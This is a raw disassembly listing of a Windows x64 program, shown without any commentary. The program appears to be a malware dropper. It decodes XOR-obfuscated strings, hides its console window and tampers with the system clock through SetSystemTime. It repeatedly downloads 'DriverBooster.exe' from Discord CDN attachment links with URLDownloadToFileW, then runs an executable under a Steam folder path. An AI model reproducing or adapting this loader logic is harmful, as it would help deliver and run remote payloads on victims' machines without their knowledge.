mov word [rdx + rsi + 5], 0x1cf
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9a40]
mov dword [rdx + rsi], 0x1a4f08a4
mov byte [rdx + rsi + 4], 0x5d
call fcn.1400a562c
cmp byte [rbx + rsi + 6], r12b
lea rax, [rbx + rsi]
je 0x14003d02f
xor byte [rax], 0xe1
xor byte [rax + 1], 0x7d
xor byte [rax + 2], 0x23
xor byte [rax + 3], 0x7f
xor byte [rax + 4], 0x33
xor byte [rax + 5], 0xcf
mov byte [rax + 6], r12b
mov qword [rbp + 0x6a0], rax
mov eax, 0x2a4
mov ecx, eax
mov edx, 0x1d0
mov ebx, edx
mov eax, dword [rax + rsi]
test al, 1
jne 0x14003d078
or eax, 1
mov word [rdx + rsi + 9], 0x17d
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9a20]
mov dword [rdx + rsi], 0x3a4718b3
mov dword [rdx + rsi + 4], 0xc18aa85d
mov byte [rdx + rsi + 8], 0x84
call fcn.1400a562c
cmp byte [rbx + rsi + 0xa], r12b
lea rax, [rbx + rsi]
je 0x14003d0ae
xor byte [rax], 0xe1
xor byte [rax + 1], 0x7d
xor byte [rax + 2], 0x23
xor byte [rax + 3], 0x7f
xor byte [rax + 4], 0x33
xor byte [rax + 5], 0xcf
xor byte [rax + 6], 0xe3
xor byte [rax + 7], 0xaf
xor byte [rax + 8], 0xe1
xor byte [rax + 9], 0x7d
mov byte [rax + 0xa], r12b
mov qword [rbp + 0x6a8], rax
mov eax, 0x2d4
mov ecx, eax
mov edx, 0x258
mov ebx, edx
mov eax, dword [rax + rsi]
test al, 1
jne 0x14003d0fb
or eax, 1
mov dword [rdx + rsi + 0xc], 0x1e3bc47
mov dword [rcx + rsi], eax
lea rcx, [0x1400a99f0]
mov dword [rdx + rsi], 0x114813b4
mov dword [rdx + rsi + 4], 0x8f8db85c
mov dword [rdx + rsi + 8], 0x1e461582
call fcn.1400a562c
cmp byte [rbx + rsi + 0xf], r12b
lea rax, [rbx + rsi]
je 0x14003d145
xor byte [rax], 0xe1
xor byte [rax + 1], 0x7d
xor byte [rax + 2], 0x23
xor byte [rax + 3], 0x7f
xor byte [rax + 4], 0x33
xor byte [rax + 5], 0xcf
xor byte [rax + 6], 0xe3
xor byte [rax + 7], 0xaf
xor byte [rax + 8], 0xe1
xor byte [rax + 9], 0x7d
xor byte [rax + 0xa], 0x23
xor byte [rax + 0xb], 0x7f
xor byte [rax + 0xc], 0x33
xor byte [rax + 0xd], 0xcf
xor byte [rax + 0xe], 0xe3
mov byte [rax + 0xf], r12b
movdqa xmm0, xmmword [0x1400ce870]
mov qword [rbp + 0x6b0], rax
mov eax, 0x4d8
mov ecx, eax
mov edx, 0x3f0
mov word [rbp + 0x410], 0x5968
mov eax, dword [rax + rsi]
mov ebx, edx
test al, 1
jne 0x14003d1cf
or eax, 1
mov byte [rdx + rsi + 0x13], 1
mov dword [rcx + rsi], eax
lea rcx, [rdx + rsi]
lea rdx, [rbp + 0x412]
lea rax, [rcx + 0x12]
cmp rcx, rdx
ja 0x14003d1b1
lea rdx, [rbp + 0x400]
cmp rax, rdx
jb 0x14003d1b1
movzx eax, word [rbp + 0x410]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x47
jmp 0x14003d1c3
movzx eax, word [rbp + 0x410]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x47
lea rcx, [0x1400a99c0]
call fcn.1400a562c
cmp byte [rbx + rsi + 0x13], r12b
lea rcx, [rbx + rsi]
je 0x14003d229
xor byte [rcx], 9
xor byte [rcx + 1], 0x2d
xor byte [rcx + 2], 0x47
xor byte [rcx + 3], 0xb3
xor byte [rcx + 4], 0x9f
xor byte [rcx + 5], 0x41
xor byte [rcx + 6], 0xe3
xor byte [rcx + 7], 0x37
xor byte [rcx + 8], 9
xor byte [rcx + 9], 0x2d
xor byte [rcx + 0xa], 0x47
xor byte [rcx + 0xb], 0xb3
xor byte [rcx + 0xc], 0x9f
xor byte [rcx + 0xd], 0x41
xor byte [rcx + 0xe], 0xe3
xor byte [rcx + 0xf], 0x37
xor byte [rcx + 0x10], 9
xor byte [rcx + 0x11], 0x2d
xor byte [rcx + 0x12], 0x47
mov byte [rcx + 0x13], r12b
lea r9, [rbp + 0x688]
call fcn.14002fee0
mov rcx, qword [0x14011cd08]
mov rax, qword [rcx + 0x3e38]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x3e38]
cmp byte [rax + 0x93], r12b
jne 0x14003d272
movaps xmm1, xmm9
mov qword [rbp - 0x58], r12
lea rcx, [rbp - 0x58]
call fcn.140010380
mov rcx, qword [0x14011cd08]
mov rax, qword [rcx + 0x3e38]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x3e38]
cmp byte [rax + 0x93], r12b
jne 0x14003d2a1
movaps xmm1, xmm9
mov qword [rbp - 0x50], r12
lea rcx, [rbp - 0x50]
call fcn.140010380
mov eax, 0x2d0
mov ecx, eax
mov edx, 0x398
mov qword [rbp - 0x48], r12
mov eax, dword [rax + rsi]
mov ebx, edx
test al, 1
jne 0x14003d2e2
or eax, 1
mov dword [rdx + rsi + 6], 0x13d6592
mov dword [rcx + rsi], eax
lea rcx, [0x1400a99a0]
mov dword [rdx + rsi], 0x634a5c79
mov word [rdx + rsi + 4], 0xde03
call fcn.1400a562c
cmp byte [rbx + rsi + 9], r12b
lea rcx, [rbx + rsi]
je 0x14003d314
xor byte [rcx], 0x3d
xor byte [rcx + 1], 0x33
xor byte [rcx + 2], 0x3d
xor byte [rcx + 3], 0xd
xor byte [rcx + 4], 0x6f
xor byte [rcx + 5], 0xb1
xor byte [rcx + 6], 0xf3
xor byte [rcx + 7], 1
xor byte [rcx + 8], 0x3d
mov byte [rcx + 9], r12b
lea rdx, [rbp - 0x48]
call fcn.14002dbf0
test al, al
je case.default.0x14003d340
movsxd rax, dword [0x14011d11c]
cmp eax, 5
ja case.default.0x14003d340
mov ecx, dword [r15 + rax*4 + 0x3eaa4]
add rcx, r15
jmp rcx
lea rcx, [rbp + 0x598]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x598]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x170]
lea rdx, [rbp + 0x598]
sub rax, r14
lea rcx, [rbp + 0x170]
mov dword [rbp + 0x170], eax
shr rax, 0x20
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x598]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.140036b80
call fcn.140038730
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.https:__cdn.discordapp.com_attachments_1168458572418523146_1205796637893460008_DriverBooster.exe_ex65d9aca1is65c737a1hm610101141517728113f1a675c05dfedf388b12720368b6f02e00d583fe6c36c5
lea rcx, [rsp + 0x60]
call fcn.14003ecd0
lea rdx, [0x1400cd410]
lea rcx, [rbp - 0x80]
call fcn.14003ecd0
mov ecx, 0x40
call fcn.1400a4d70
lea rdx, [rsp + 0x60]
mov qword [rbp + 0x150], rax
mov rcx, rax
mov rbx, rax
lea rdi, [rax + 0x40]
mov qword [rbp + 0x160], rdi
call fcn.14003ee20
lea rcx, [rbx + 0x20]
lea rdx, [rbp - 0x80]
call fcn.14003ee20
mov edx, 0x40
mov qword [rbp + 0x158], rdi
lea r9, [fcn.14003a6e0]
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x3f]
call fcn.1400a4f00
mov rdi, qword [rbp + 0x158]
mov rbx, qword [rbp + 0x150]
cmp rbx, rdi
je 0x14003d488
add rbx, 0x20
nop dword [rax + rax]
cmp qword [rbx + 0x18], 7
mov r8, rbx
jbe 0x14003d45d
mov r8, qword [rbx]
cmp qword [rbx - 8], 7
lea rdx, [rbx - 0x20]
jbe 0x14003d46b
mov rdx, qword [rdx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x14003d450
lea rcx, [rbp + 0x150]
call fcn.14003ef90
lea rcx, [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x268]
lea rdx, [rbp + 0x4e8]
add rax, r14
lea rcx, [rbp + 0x268]
mov dword [rbp + 0x268], eax
shr rax, 0x20
mov dword [rbp + 0x26c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x4e8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
mov edi, 0x2b8
jmp case.default.0x14003d340
lea rcx, [rbp + 0x508]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x508]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x270]
lea rdx, [rbp + 0x508]
sub rax, r14
lea rcx, [rbp + 0x270]
mov dword [rbp + 0x270], eax
shr rax, 0x20
mov dword [rbp + 0x274], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x508]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.140036b80
call fcn.140038730
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.https:__cdn.discordapp.com_attachments_1168458572418523146_1205797499718344734_DriverBooster.exe_ex65d9ad6eis65c7386ehma409e942aa43e2dcdc219a557f5caaad1ba39ce073325bbf2def6482fe3aff5e
lea rcx, [rsp + 0x60]
call fcn.14003ecd0
lea rdx, [0x1400cd410]
lea rcx, [rbp - 0x80]
call fcn.14003ecd0
mov ecx, 0x40
call fcn.1400a4d70
lea rdx, [rsp + 0x60]
mov qword [rbp + 0x150], rax
mov rcx, rax
mov rbx, rax
lea rdi, [rax + 0x40]
mov qword [rbp + 0x160], rdi
call fcn.14003ee20
lea rcx, [rbx + 0x20]
lea rdx, [rbp - 0x80]
call fcn.14003ee20
mov edx, 0x40
mov qword [rbp + 0x158], rdi
lea r9, [fcn.14003a6e0]
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x3f]
call fcn.1400a4f00
mov rdi, qword [rbp + 0x158]
mov rbx, qword [rbp + 0x150]
cmp rbx, rdi
je 0x14003d63b
add rbx, 0x20
cmp qword [rbx + 0x18], 7
mov r8, rbx
jbe 0x14003d610
mov r8, qword [rbx]
cmp qword [rbx - 8], 7
lea rdx, [rbx - 0x20]
jbe 0x14003d61e
mov rdx, qword [rdx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x14003d603
lea rcx, [rbp + 0x150]
call fcn.14003ef90
lea rcx, [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x278]
lea rdx, [rbp + 0x4d8]
add rax, r14
lea rcx, [rbp + 0x278]
mov dword [rbp + 0x278], eax
shr rax, 0x20
mov dword [rbp + 0x27c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
mov edi, 0x2b8
jmp case.default.0x14003d340
lea rcx, [rbp + 0x538]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x538]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x280]
lea rdx, [rbp + 0x538]
sub rax, r14
lea rcx, [rbp + 0x280]
mov dword [rbp + 0x280], eax
shr rax, 0x20
mov dword [rbp + 0x284], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x538]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.140036b80
call fcn.140038730
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.https:__cdn.discordapp.com_attachments_1168458572418523146_1193170215484280872_DriverBooster.exe_ex65abbd5bis6599485bhme7dfb3e81a906c279a2ae170f962ac0750466223da86107ffcc2e263e671d244
lea rcx, [rsp + 0x60]
call fcn.14003ecd0
lea rdx, [0x1400cd410]
lea rcx, [rbp - 0x80]
call fcn.14003ecd0
mov ecx, 0x40
call fcn.1400a4d70
lea rdx, [rsp + 0x60]
mov qword [rbp + 0x150], rax
mov rcx, rax
mov rbx, rax
lea rdi, [rax + 0x40]
mov qword [rbp + 0x160], rdi
call fcn.14003ee20
lea rcx, [rbx + 0x20]
lea rdx, [rbp - 0x80]
call fcn.14003ee20
mov edx, 0x40
mov qword [rbp + 0x158], rdi
lea r9, [fcn.14003a6e0]
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x3f]
call fcn.1400a4f00
mov rdi, qword [rbp + 0x158]
mov rbx, qword [rbp + 0x150]
cmp rbx, rdi
je 0x14003d7ee
add rbx, 0x20
cmp qword [rbx + 0x18], 7
mov r8, rbx
jbe 0x14003d7c3
mov r8, qword [rbx]
cmp qword [rbx - 8], 7
lea rdx, [rbx - 0x20]
jbe 0x14003d7d1
mov rdx, qword [rdx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x14003d7b6
lea rcx, [rbp + 0x150]
call fcn.14003ef90
lea rcx, [rbp + 0x528]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x528]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x298]
lea rdx, [rbp + 0x528]
add rax, r14
lea rcx, [rbp + 0x298]
mov dword [rbp + 0x298], eax
shr rax, 0x20
mov dword [rbp + 0x29c], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x528]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
mov edi, 0x2b8
jmp case.default.0x14003d340
lea rcx, [rbp + 0x548]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x548]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x210]
lea rdx, [rbp + 0x548]
sub rax, r14
lea rcx, [rbp + 0x210]
mov dword [rbp + 0x210], eax
shr rax, 0x20
mov dword [rbp + 0x214], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x548]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.140036b80
call fcn.140038730
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.https:__cdn.discordapp.com_attachments_1168458572418523146_1205797018224693278_DriverBooster.exe_ex65d9acfbis65c737fbhme2f1d3d90644f58ea805fa7648feac357631693eafe80fcedd7f855f5a99c87f
lea rcx, [rsp + 0x60]
call fcn.14003ecd0
lea rdx, [0x1400cd410]
lea rcx, [rbp - 0x80]
call fcn.14003ecd0
mov ecx, 0x40
call fcn.1400a4d70
lea rdx, [rsp + 0x60]
mov qword [rbp + 0x150], rax
mov rcx, rax
mov rbx, rax
lea rdi, [rax + 0x40]
mov qword [rbp + 0x160], rdi
call fcn.14003ee20
lea rcx, [rbx + 0x20]
lea rdx, [rbp - 0x80]
call fcn.14003ee20
mov edx, 0x40
mov qword [rbp + 0x158], rdi
lea r9, [fcn.14003a6e0]
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x3f]
call fcn.1400a4f00
mov rdi, qword [rbp + 0x158]
mov rbx, qword [rbp + 0x150]
cmp rbx, rdi
je 0x14003d9a8
add rbx, 0x20
nop dword [rax]
cmp qword [rbx + 0x18], 7
mov r8, rbx
jbe 0x14003d97d
mov r8, qword [rbx]
cmp qword [rbx - 8], 7
lea rdx, [rbx - 0x20]
jbe 0x14003d98b
mov rdx, qword [rdx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x14003d970
lea rcx, [rbp + 0x150]
call fcn.14003ef90
lea rcx, [rbp + 0x5b8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x5b8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x2a0]
lea rdx, [rbp + 0x5b8]
add rax, r14
lea rcx, [rbp + 0x2a0]
mov dword [rbp + 0x2a0], eax
shr rax, 0x20
mov dword [rbp + 0x2a4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x5b8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
mov edi, 0x2b8
jmp case.default.0x14003d340
lea rcx, [rbp + 0x5c8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x5c8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x2b0]
lea rdx, [rbp + 0x5c8]
sub rax, r14
lea rcx, [rbp + 0x2b0]
mov dword [rbp + 0x2b0], eax
shr rax, 0x20
mov dword [rbp + 0x2b4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x5c8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.140036b80
call fcn.140038730
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.https:__cdn.discordapp.com_attachments_1168458572418523146_1191704363471740978_DriverBooster.exe_ex65a6682dis6593f32dhm30e94dce4412236f214113bfd53f6117962d2dd29713255606c0eef1985fd979
lea rcx, [rsp + 0x60]
call fcn.14003ecd0
lea rdx, [0x1400cd410]
lea rcx, [rbp - 0x80]
call fcn.14003ecd0
mov ecx, 0x40
call fcn.1400a4d70
lea rdx, [rsp + 0x60]
mov qword [rbp + 0x150], rax
mov rcx, rax
mov rbx, rax
lea rdi, [rax + 0x40]
mov qword [rbp + 0x160], rdi
call fcn.14003ee20
lea rcx, [rbx + 0x20]
lea rdx, [rbp - 0x80]
call fcn.14003ee20
mov edx, 0x40
mov qword [rbp + 0x158], rdi
lea r9, [fcn.14003a6e0]
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x3f]
call fcn.1400a4f00
mov rdi, qword [rbp + 0x158]
mov rbx, qword [rbp + 0x150]
cmp rbx, rdi
je 0x14003db5b
add rbx, 0x20
cmp qword [rbx + 0x18], 7
mov r8, rbx
jbe 0x14003db30
mov r8, qword [rbx]
cmp qword [rbx - 8], 7
lea rdx, [rbx - 0x20]
jbe 0x14003db3e
mov rdx, qword [rdx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x14003db23
lea rcx, [rbp + 0x150]
call fcn.14003ef90
lea rcx, [rbp + 0x5d8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x5d8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x2b8]
lea rdx, [rbp + 0x5d8]
add rax, r14
lea rcx, [rbp + 0x2b8]
mov dword [rbp + 0x2b8], eax
shr rax, 0x20
mov dword [rbp + 0x2bc], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x5d8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
mov edi, 0x2b8
jmp case.default.0x14003d340
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x2c0]
lea rdx, [rbp + 0x4f8]
sub rax, r14
lea rcx, [rbp + 0x2c0]
mov dword [rbp + 0x2c0], eax
shr rax, 0x20
mov dword [rbp + 0x2c4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.140036b80
call fcn.140038730
call fcn.14003ac40
lea rcx, [rbp + 0x518]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x518]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x2c8]
lea rdx, [rbp + 0x518]
add rax, r14
lea rcx, [rbp + 0x2c8]
mov dword [rbp + 0x2c8], eax
shr rax, 0x20
mov dword [rbp + 0x2cc], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x518]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
mov eax, 0x154
mov ecx, eax
mov edx, 0x160
mov qword [rbp + 0x288], r12
mov eax, dword [rax + rsi]
mov ebx, edx
test al, 1
jne 0x14003dcd0
or eax, 1
mov dword [rdx + rsi + 2], 0x1edd148
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9980]
mov word [rdx + rsi], 0xb8c1
call fcn.1400a562c
cmp byte [rbx + rsi + 5], r12b
lea rcx, [rbx + rsi]
je 0x14003dcf2
xor byte [rcx], 0x8d
xor byte [rcx + 1], 0xd7
xor byte [rcx + 2], 0x29
xor byte [rcx + 3], 0xb5
xor byte [rcx + 4], 0xed
mov byte [rcx + 5], r12b
lea rdx, [rbp + 0x288]
call fcn.14002dbf0
test al, al
je case.default.0x14003dd21
movsxd rax, dword [0x14011d11c]
cmp eax, 5
ja case.default.0x14003dd21
mov ecx, dword [r15 + rax*4 + 0x3eabc]
add rcx, r15
jmp rcx
lea rcx, [rbp + 0x558]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x558]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x2d0]
lea rdx, [rbp + 0x558]
sub rax, r14
lea rcx, [rbp + 0x2d0]
mov dword [rbp + 0x2d0], eax
shr rax, 0x20
mov dword [rbp + 0x2d4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x558]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003ab10
lea rcx, [rbp + 0x568]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x568]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1b0]
lea rdx, [rbp + 0x568]
add rax, r14
lea rcx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], eax
shr rax, 0x20
mov dword [rbp + 0x1b4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x568]
jmp 0x14003e18e
lea rcx, [rbp + 0x578]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x578]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1b8]
lea rdx, [rbp + 0x578]
sub rax, r14
lea rcx, [rbp + 0x1b8]
mov dword [rbp + 0x1b8], eax
shr rax, 0x20
mov dword [rbp + 0x1bc], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x578]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003ab10
lea rcx, [rbp + 0x588]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x588]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1c0]
lea rdx, [rbp + 0x588]
add rax, r14
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], eax
shr rax, 0x20
mov dword [rbp + 0x1c4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x588]
jmp 0x14003e18e
lea rcx, [rbp + 0x418]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x418]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1c8]
lea rdx, [rbp + 0x418]
sub rax, r14
lea rcx, [rbp + 0x1c8]
mov dword [rbp + 0x1c8], eax
shr rax, 0x20
mov dword [rbp + 0x1cc], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x418]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
lea rcx, str._C:Program_Files__x86_Steam_steamappscommonDriver_Booster_for_SteamDriverBooster.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x428]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x428]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x428]
add rax, r14
lea rcx, [rbp + 0x1d0]
mov dword [rbp + 0x1d0], eax
shr rax, 0x20
mov dword [rbp + 0x1d4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x428]
jmp 0x14003e18e
lea rcx, [rbp + 0x438]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x438]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x438]
sub rax, r14
lea rcx, [rbp + 0x1d8]
mov dword [rbp + 0x1d8], eax
shr rax, 0x20
mov dword [rbp + 0x1dc], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x438]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003ab10
lea rcx, [rbp + 0x448]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x448]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1e0]
lea rdx, [rbp + 0x448]
add rax, r14
lea rcx, [rbp + 0x1e0]
mov dword [rbp + 0x1e0], eax
shr rax, 0x20
mov dword [rbp + 0x1e4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x448]
jmp 0x14003e18e
lea rcx, [rbp + 0x458]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x458]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1e8]
lea rdx, [rbp + 0x458]
sub rax, r14
lea rcx, [rbp + 0x1e8]
mov dword [rbp + 0x1e8], eax
shr rax, 0x20
mov dword [rbp + 0x1ec], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x458]
call qword [sym.imp.KERNEL32.DLL_SetSystemTime]
call fcn.14003ab10
lea rcx, [rbp + 0x468]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x468]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1f0]
lea rdx, [rbp + 0x468]
add rax, r14
lea rcx, [rbp + 0x1f0]
mov dword [rbp + 0x1f0], eax
shr rax, 0x20
mov dword [rbp + 0x1f4], eax
call qword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
lea rcx, [rbp + 0x468]
jmp 0x14003e18e
lea rcx, [rbp + 0x478]
call qword [sym.imp.KERNEL32.DLL_GetSystemTime]
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x478]
call qword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov rax, qword [rbp + 0x1f8]
lea rdx, [rbp + 0x478]
sub rax, r14
